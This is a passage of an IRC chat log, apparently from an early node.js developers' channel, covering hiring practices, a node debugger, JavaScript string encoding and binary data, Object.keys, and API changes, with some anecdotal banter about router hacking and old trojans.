having your interviewer ditch you twice without notice >.< [21:59] stephenlb: heh [21:59] binary42: (People also assume interviews are a one way process. People looking for jobs need to be just as inquisitive.) [22:01] mahemoff has joined the channel [22:02] isaacs: i've done interviewing before. it sucks. [22:02] isaacs: it's not easy [22:03] isaacs: usually it comes down to: am i familiar with your work or not? and if not, then it's: do i like hanging out with you, or not? [22:04] RayMorgan_ has joined the channel [22:05] binary42: isaacs: Yeah. The team that is going to be working with the person should always be interviewing. [22:05] isaacs: right [22:05] isaacs: it's so strange, the way we hire. [22:05] isaacs: it's a bit like marrying someone after a first date. [22:06] JimBastard9: in that case, contract to hire = dating [22:06] isaacs: i think it'd be better if more companies did like a 3-month contract first, and then both parties could evaluate. [22:06] isaacs: JimBastard9: exactly. [22:06] isaacs: my interview at yahoo almost convinced me not to take the job, because it was so grueling, but it was a great place to work. [22:06] orlandov: 3 month probation period is actually a really good process [22:07] isaacs: and i've had other jobs where i regretted it after the first week, but hte interview left me really excited about it. [22:07] binary42: "probation" sounds so awful though. [22:07] orlandov: or maybe it sounds badass ;) [22:07] isaacs: also, not enough companies really try to set you up with clear objectives in that first period. [22:07] isaacs: they expect you to join the team and be a member of the team. [22:08] isaacs: it'd be better if the first 1-3 months was like "get this thing done, and we'll see if we like what you did, and if so, by that point, you'll be a part of the team, and if not, here's your money and be on your way" [22:08] binary42: I've only held 2 jobs that didn't involve working for myself. the first was an odd case and the second was a consulting -> offer scenario that I ended up regretting a year later. [22:08] binary42: Well, regret is too strong. Mostly just pissed at the company for derailing itself. [22:10] isaacs: binary42: that does suck [22:11] binary42: And that's when I basically decided to do the entrepreneur thing... Never looked back. [22:11] binary42: Highly recommend people try it once in their life. [22:13] gwoo has joined the channel [22:15] Tim_Smart has joined the channel [22:15] JimBastard has joined the channel [22:16] JimBastard has joined the channel [22:16] JimBastard: stupid java.freenode [22:16] JimBastard: BRING BACK MIBBIT [22:17] atcrabtree: speaking of the entrepreneur thing, any one in here in the Dallas area? [22:19] ryah: i could really use a debugger. [22:19] aho: java.freenode? what's wrong with http://webchat.freenode.net/ ? (which happens to be pretty much like mibbit) :> [22:20] ryah: seriously. node needs a debugger. [22:20] binary42: ryah: I wonder if there would be a way to attach the chrome debugger to a remote runtime. [22:20] JimBastard_ has joined the channel [22:21] JimBastard_: hrmmm [22:21] binary42: The inspector is heavily dependent on downloaded source but it's probably possible to trick where it looks. [22:21] ryah: supposedly node already supports the debugger agent [22:21] ryah: (v8 has a tcp debugging protocol) [22:21] ryah: (node can start a server for that protocol) [22:21] binary42: Ah. That is nice. [22:22] ryah: but there is no client [22:22] binary42: Makes sense now that I think about chrome's architecture. [22:22] ryah: v8 has "d8" but it doesn't seem to work [22:22] aho: JimBastard_, you could also, y'know, install a proper irc client :> [22:22] JimBastard_: im too scared [22:22] binary42: aho: What's wrong with netcat? [22:23] JimBastard_: i have many internet friends....and enemies [22:23] JimBastard_: ohh look you are running the default linksys router firmware [22:23] aho: *shrug* :) [22:23] JimBastard_: *click* ASSPLODE [22:23] binary42: JimBastard_: Router hacking is pretty easy from the browser. Sad but true. [22:24] JimBastard_: errr this passes the ip anyway [22:24] JimBastard_: i guess im just paranoid from my 1998 irc days [22:24] binary42: Routers are better these days but there are plenty of old ones out there still. [22:25] JimBastard_: i got sub-sevened once [22:25] JimBastard_: that was enough for me [22:25] JimBastard_: (was mostly my fault) [22:25] binary42: The new ones do present new problems though... they are basically small linux machines so you can take those over and do a lot of evil. [22:25] JimBastard_: yeah [22:25] JimBastard_: there was an exploit for dd-wrt recently [22:25] binary42: lol... subseven. That's been a long time. [22:26] binary42: JimBastard_: I'll help you uninstall windows. Just tell me what your favorite unix flavor is. [22:26] JimBastard_: binary42: the shit is soo bad [22:26] JimBastard_: i got rooted from chrome the other day via JS [22:26] JimBastard_: and if i use FF without NOSCRIPT its gameover [22:27] mahemoff has joined the channel [22:27] binary42: JimBastard_: Rooted from chrome? Not sure of have current exploits there if you keep it updated. [22:28] binary42: Session hijacking and such, maybe but they isolate that stuff really well. [22:29] stephenlb: wow, subseven. memories of psat. [22:29] stephenlb: s/psat/past/ [22:29] davidjrice: hey guys, running the mjsunit tests for node... [22:29] davidjrice: I just run 'make test' right? [22:29] tmpvar: yeah [22:30] inimino: bentomas: sure, I'd be up for a meetup in this general area [22:32] JimBastard_: im pretty sure it was chrome..... but i dont have proof [22:32] binary42: JimBastard_: It's possible I'm sure but that's also a non-trivial vector to pick of other possible ones. [22:33] JimBastard_: im pretty sure it was encloypedia dramatica [22:33] JimBastard_: they have malware on their adservers [22:33] JimBastard_: ive yelled at the chick who runs it multiple times [22:33] binary42: Ah. [22:34] orlandov: huh- i thought node supported the keys(object) method, but it seems not to be finding it [22:34] davidjrice: how would I go about running one msjunit test? [22:34] JimBastard_: subserver, hack-a-tack, netbus, all good times [22:34] ako has joined the channel [22:35] binary42: JimBastard_: Wow. So many stories I could tell now... but I'll focus on work for a bit. [22:35] JimBastard_: subseven [22:35] JimBastard_: brb [22:35] JimBastard_: me too [22:35] JimBastard_: ive got a couple of good hacking stories up at jimbastard.com [22:35] ithinkihaveacat: isaacs: are you there? [22:35] isaacs: yo [22:35] orlandov: keys() works in chromium though, bizarre [22:35] bentomas: inimino: I don't think there are enough people, it'd end up being just you and me [22:36] inimino: bentomas: heh, alright [22:38] bentomas: inimino: though it might be fun to meet up and try and do a quick Node project.. [22:39] bentomas: 2 hour hackathon with tasty beverages [22:39] davidjrice: ah, the tests run via node. cool [22:39] isaacs: ithinkihaveacat: ...? [22:39] davidjrice: ACTION apologises for noob questions :) [22:40] ithinkihaveacat: isaacs: oh, hi [22:40] isaacs: bentomas: where are you and inimino located? that sounds like fun., depending on teh tastiness of the beverages. [22:40] ithinkihaveacat: just wondering if you had any thoughts on solving the ejsgi "encoding" issue [22:40] ithinkihaveacat: just hit that... [22:40] isaacs: yeah [22:40] bentomas: isaacs: I'm in Denver, CO [22:40] isaacs: it's really the node "encoding" issue. [22:40] isaacs: bentomas: ah, yeah, that's a bit out of range for me. [22:41] ithinkihaveacat: also, i think your readme is wrong: i think everything gets sent as ascii, not binary, at the moment [22:41] isaacs: oh, that could be. [22:41] isaacs: i haven't combed through it thoroughly. [22:41] isaacs: ithinkihaveacat: if you felt like writing some good tests showing the problems, that'd be very helpful. [22:43] sudoer has joined the channel [22:44] ithinkihaveacat: i don't know about the larger encoding issue, but if stream's write() method took an encoding argument that ultimately made its way to http.ServerResponse's sendBody() it would be helpful [22:44] inimino: bentomas: that would be cool [22:44] inimino: ACTION is in Colorado Springs [22:44] RayMorgan has joined the channel [22:45] isaacs: ithinkihaveacat: hm... [22:45] ithinkihaveacat: i.e. http://github.com/isaacs/ejsgi/blob/master/lib/ejsgi/respond.js#L17 just does a raw sendBody(chunk) [22:45] isaacs: we *really* need to implement binary/b [22:45] inimino: bentomas: or we could all just move the West coast and be done with it :-) [22:45] isaacs: or binary/d or whatever it is [22:45] isaacs: right, and you're right, that defaults to ascii, iirc [22:45] bentomas: inimino: I'd miss the winters out here! (but that would be convenient!) [22:46] ryah: isaacs: have you seen the Buffer stuff? [22:46] isaacs: ryah: nope. [22:46] isaacs: link? [22:46] isaacs: but if it solves this problem, i'll gladly shut up about bytestrings ^_^ [22:46] jdee has joined the channel [22:46] ryah: isaacs: net2 src/node_buffer.cc [22:46] isaacs: k, i'll have a look. [22:47] ryah: isaacs: test/mjsunit/test-buffers.js also [22:48] ithinkihaveacat: isaacs: at http://github.com/ithinkihaveacat/node-hydra/blob/master/lib/hydra/static.js#L103 i do a res.body.write(body) [22:48] davidjrice: ah, the tests run via node. cool [22:49] orlandov: hey ryah, any idea why the keys() function wouldn't exist? it seems to work in chromium, and the node/v8 features page says it should work but no dice [22:49] ithinkihaveacat: ... but ideally i'd be able to to res.body.write(body, encoding), and have the encoding end up being passed to the sendBody() at http://github.com/isaacs/ejsgi/blob/master/lib/ejsgi/respond.js#L17 [22:49] isaacs: ithinkihaveacat: well, yeah, but then the stream isn't so simple. [22:49] isaacs: the stream should do a toByteString, and sendBody should take ByteStrings rather than an encoding param. [22:49] davidjrice: whoops, repeating myself. beer + irc fail. [22:49] ryah: orlandov: hmm. is that Object.prototype.keys? [22:50] davidjrice: felixge: can't seem to replicate the 'bug' I was having with posix cat. [22:50] felixge: davidjrice: k. Maybe it was mustache specific? [22:50] orlandov: ryah: a=Object(); a.keys(); // Object # has no method 'keys'. [22:50] isaacs: ithinkihaveacat: http://github.com/ithinkihaveacat/node-hydra/blob/master/lib/hydra/static.js#L89 problematic [22:51] isaacs: ithinkihaveacat: application/json, application/xml+xhtml, application/xml [22:51] isaacs: etc. [22:51] isaacs: but... application/vnd.photoshop needs to be binary. [22:51] bentomas: orlandov: Object.keys(a) ? [22:51] isaacs: and application/vnd.somethingorother might be either or. [22:51] orlandov: bentomas: !! [22:51] orlandov: okay that works [22:52] orlandov: that's such a weird place to put that... [22:52] ryah: :) [22:52] dgouldin has joined the channel [22:52] ryah: ES5 puts everything under Object [22:52] ryah: to avoid conflicts [22:53] davidjrice: felixge: yeah. perhaps. At least I figured how to write tests for node :) pity, I was hoping to get a commit in! [22:53] ithinkihaveacat: isaacs: yeah :-(. well, at least i don't do anything with it! [22:53] ithinkihaveacat: hrm, actually i think i got that from node_chat [22:54] isaacs: so, using content-type to determine encoding is actually a not so good idea. [22:54] felixge: davidjrice: sorry, but there will be more opportunities :) [22:54] rictic has joined the channel [22:54] felixge: ACTION is done with listening to lunatics who want to suit him for tonight, time to work on sync require again [22:55] ithinkihaveacat: isaacs: http://github.com/ry/node_chat/blob/master/fu.js#L64 [22:55] isaacs: yeah [22:55] isaacs: also problematic [22:56] isaacs: "message/rfc822" should be sent as text. [22:57] isaacs: so should "application/json" [22:57] isaacs: etc. [22:58] ithinkihaveacat: yeah, i guess. how does e.g. apache do it?? [22:59] mikeal has joined the channel [22:59] isaacs: it reads bytes and sends bytes. [22:59] davidjrice: here, anyone know how to get the mustache.js tests running? [22:59] isaacs: but javascript is crap with bytes. [22:59] isaacs: it hates binary. [23:00] mikeal: it's the opposite of erlang :) [23:00] davidjrice: it's complaining about runner.js not being found... [23:00] isaacs: though, to be fair, that's great most of the tie. [23:00] isaacs: *time [23:00] isaacs: erlang's "all text is ISO-8859-1 and if you don't like it, use bytes" is kinda dumb. [23:01] isaacs: makes sense for telephone switches, though [23:01] ithinkihaveacat: oh, because a string is a unicode string? [23:01] isaacs: ithinkihaveacat: internally, js uses UCS-2, which is like UTF-16, but without the extensibility. [23:01] ithinkihaveacat: and you can't get an real/efficient array of bytes? [23:01] isaacs: not with js alone. [23:02] ithinkihaveacat: okay, gotcha [23:02] isaacs: ecma's been haggling over a binary proposal for years, i believe. last i heard, IBM was the hold out. [23:03] atcrabtree_ has joined the channel [23:05] jimfear has joined the channel [23:06] inimino: isaacs: it's actually UTF-16, not UCS-2 [23:06] unomi: the number thing? [23:06] isaacs: inimino: orly? [23:06] inimino: yes [23:06] isaacs: i thot it couldn't handle higher-order stuffs. [23:07] inimino: it's kind of a moot point because the language doesn't have any primitives that would print strings, and all the character-level access is defined in terms of code units [23:07] unomi: I was wondering, is there a jvm host for javascript? [23:07] unomi: in the sense of scala, not rhino [23:07] isaacs: unomi: think rhino's about the closest you'll get. [23:07] isaacs: but it's pretty clos. [23:07] isaacs: can compile js to jvm bytecode [23:07] isaacs: (i'm told) [23:09] Connorhd_ has joined the channel [23:10] caolanm has joined the channel [23:12] caolanm: just updated from v0.1.26 to v0.1.28, and noticed some changes to the way modules are loaded. before I was able to make changes to a require()'d module and see those changes in other modules which require()'d it, now it looks like that's no longer the case (which seems like a good idea)... is there any documentation on how this works now? [23:13] caolanm: I've got a few unit tests failing because they were making use of that 'hack', and I'm looking for a cleaner alternative which works with v0.1.28 [23:15] inimino: caolanm: you can export a constructor which returns a new object, and then share that object between things that need to share mutable state [23:16] caolanm: inimino: because this hack is only used in the unit tests it seems a shame to alter my real code to work around it... [23:17] caolanm: or am I misunderstanding you? [23:17] kriszyp: inimino: where are you located? I see we are in the same time zone [23:18] inimino: kriszyp: Colorado Springs [23:18] kriszyp: ok, I am in SLC, UT [23:19] inimino: ah, a bit of a drive [23:20] inimino: kriszyp: bentomas was talking about some mountain-time node meetup but it looks like there aren't enough of us [23:20] kriszyp: yeah, I was just curious if anyone else was in UT [23:21] rockstar has joined the channel [23:22] caolanm: sorry, another question about v0.1.27... I notice GLOBAL can now also be referred to as global. Is GLOBAL now depreciated? [23:23] caolanm: since they both still work. [23:23] ryah: caolanm: yes [23:24] caolanm: ryah: thanks [23:24] ryah: i'll make it an error in future releases [23:24] ryah: at the moment i've just changed the docs [23:35] randomekek has joined the channel [23:36] randomekek has joined the channel [23:37] felixge: ryah: why did you lowercase it? [23:38] randomekek has joined the channel [23:39] qFox has joined the channel [23:41] ryah: felixge: seemed to 'in your face' [23:41] ryah: same with argv and env [23:43] eikke has joined the channel [23:43] mikeal has joined the channel [23:46] felixge: ryah: I can see why you wouldn't want that with argv/env [23:46] felixge: ryah: but I think there are very very few legit reasons to access GLOBAL [23:46] felixge: but a ton of non-legit ones [23:46] felixge: GLOBAL makes those stand out :) [23:46] felixge: plus it has less potential to conflict with somebodies local variable name 'global' [23:47] felixge: but I don't care that much [23:47] felixge: so let's leave it [23:47] randomekek: hi u guys developers of node.js? i had a small question about the posix.readSync/writeSync functions... will they stay? [23:48] randomekek: their not documented so i was worried they will be slurped out after testing or something [23:48] felixge: randomekek: they will stay, but you probably shouldn't use them [23:49] randomekek: i see, i was writing a trivial file backed key:string 'database' [23:49] randomekek: and i wanted to read out the strings if they are not cached from a file [23:50] randomekek: and using a read could mean consistency issues [23:51] ryah: randomekek: they will stay - but they'll probably get moved around [23:51] randomekek: ok sure, i'll just keep an eye out for when they get slurped around [23:51] ryah: require('fs-sync').read() is what i was thinking [23:52] felixge: ryah: yeah that would be nice [23:53] randomekek: oh and a small feature/function suggestion: u have posix.cat, is it possible to get posix.linecat(file, linehandler) [23:53] randomekek: i rolled my own, but it's pretty lame :p [23:54] ryah: maybe someday no tnow [23:54] davidjrice: hmm, trying to do a multiline string of html, node not liking it... [23:54] mikeal: that's easy enough to write on your own use posix.write [23:55] ryah: (we have to be careful what API we expose - the developer base is growing) [23:55] randomekek: makes sense [23:55] mikeal: posix.read, sorry [23:56] randomekek: yeah posix read, and im stuck between using line.split('\n') or finding line.indexof('\n') [23:56] mikeal: you'll need to keep a buffor [23:56] mikeal: buffer [23:57] mikeal: so if line.indexof('\n') { line.split [23:57] randomekek: is string.indexof constant time in v8? if not i prefer to use split, since it might be optimised [23:57] mikeal: you'll also want to normalize for \n and \n\r [23:58] isaacs_ has joined the channel [23:58] randomekek: doh, but im using personal use right now so its all good [23:59] davidjrice: jan____: hey, just wrote a little test that exposes a bug in mustache [23:59] ryah: randomekek: no - indexOf is O(n+m)